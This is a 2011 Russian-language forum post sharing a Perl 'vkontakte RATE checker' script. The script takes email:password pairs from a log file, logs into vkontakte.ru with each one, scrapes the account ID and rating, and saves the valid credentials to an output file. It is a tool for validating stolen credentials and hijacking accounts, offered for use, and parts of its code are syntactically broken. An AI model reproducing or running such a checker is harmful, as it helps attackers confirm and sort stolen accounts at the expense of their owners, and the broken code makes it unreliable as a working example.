Показать сообщение отдельно
Старый 25.03.2011, 18:55 Вверх   #1
ЗаГаДоЧнЫй
 
Аватар для sumrak
sumrak вне форума
Доп. информация
По умолчанию vkontakte RATE checker

Скрипт написан на перле => для его работы нужен activePerl !!!

PHP код:
#!/usr/bin/perl
# VKONTAKTE cheker
# Original author Xszz.AoH
# Modified by svesve
# tnx to a4at members who help me with perl;-)
use strict;
use 
LWP::UserAgent;

use 
HTTP::Cookies;

open (FILE '<logs.txt');
my @= <FILE>;
chomp @f;
my $ua LWP::UserAgent->new;
my $cookies HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies);
open (OUT '>>IDS_rate.txt');
while (@
f)
{
my ($mail$pass) = split(/:/, shift(@f));

my $req $ua->post('http://vkontakte.ru/login.php', { email => $mailpass => $pass } )->as_string;
my $suc $req =~ /302 Found/;
if (
$suc )
{
$req $ua->get('http://vkontakte.ru/index.php')->as_string;
my $id $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)("&gt[Реклама]/;
my $idd=$2;
$req $ua->get('http://vkontakte.ru/rate.php')->as_string;
my $res = $if $req=~m/width:100px">(.{1,4})</;
print "
[rate=$res]:[id=$idd]:$mail:$pass\n";
if (!
$idd)
{
print "
Account deleted \n";
}
print OUT 
$res.":".$idd.":".$mail.":".$pass."\n";
}
else{print"
[-]bad login or password \n";}
}
close OUT;
close FILE; 
  Ответить с цитированием
 
Время генерации страницы 0.05788 секунды с 10 запросами